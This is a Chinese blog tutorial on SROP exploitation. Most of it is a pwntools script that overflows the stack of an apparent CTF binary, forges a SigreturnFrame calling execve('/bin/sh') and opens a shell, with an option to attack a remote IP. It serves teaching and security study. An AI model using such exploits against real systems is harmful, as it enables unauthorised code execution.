SROP攻击原理

发布于 2024-03-31  220 次阅读


内核在 signal 信号处理的过程中的工作中,其主要做的工作就是为进程保存上下文,并且恢复上下文。这个主要的变动都在 Signal Frame 中。但是需要注意的是:

Signal Frame 是被保存在用户的地址空间中,所以用户是可以读写的。由于内核与信号处理程序无关 (kernel agnostic about signal handlers),它并不会去记录这个 signal 对应的 Signal Frame,所以当执行 sigreturn 系统调用时,此时的 Signal Frame 并不一定是之前内核为用户进程保存的 Signal Frame。所以通过输入流(如read,gets,scanf等)伪造一个frame在栈中,然后执行sigreturn的系统调用,对于frame的伪造可以利用pwntools中的SigreturnFrame()函数:

frame=SigreturnFrame()
        frame.rax=constants.SYS_execve #(或者填59)   #exceve 系统调用号59
        frame.rdi=binsh_addr
        frame.rsi=0
        frame.rdx=0
        frame.rip=syscall

stub_execve 的调用号 为 59

stub_rt_sigreturn 的调用号 为 15

其中sigreturn是一个系统调用,在类 unix 系统发生 signal 的时候会被间接地调用。

如下图的一个例子,地址0x4004da为sigreturn系统调用的利用地址:

from pwn import *
def exp():
    a=int(input("请选择模式\n1:远程攻击\n2:本地攻击\n3:exp调试\n"))
    if a == 1:
        context(arch='amd64',os='linux',log_level='debug')
        r=remote("123.21.34.8",28578)
    elif a == 2:
        r=process('./pwn3')
    else:
        r=gdb.debug('./pwn3',gdbscript='b main')
    syscall=0x0000000000400501     
    sigreturn=0x00000000004004DA   
    vuln=0x4004ED          
    p=b'a'*(0x10)+p64(vuln)
    r.sendline(p)
    r.recv(0x20)
    binsh_addr=u64(r.recv(0x8))-0x118
    print("binshaddr-------------->"+str(hex(binsh_addr)))
    frame=SigreturnFrame()
    frame.rax=constants.SYS_execve   #exceve 系统调用号59
    frame.rdi=binsh_addr
    frame.rsi=0
    frame.rdx=0
    frame.rip=syscall
    p1=flat(b'/bin/sh\x00'*2,sigreturn,syscall,frame)
    r.sendline(p1)
    r.interactive()


if __name__=='__main__':
    exp()
    ...
    ...
    ...
    ...



穿过云层我试着努力向你奔跑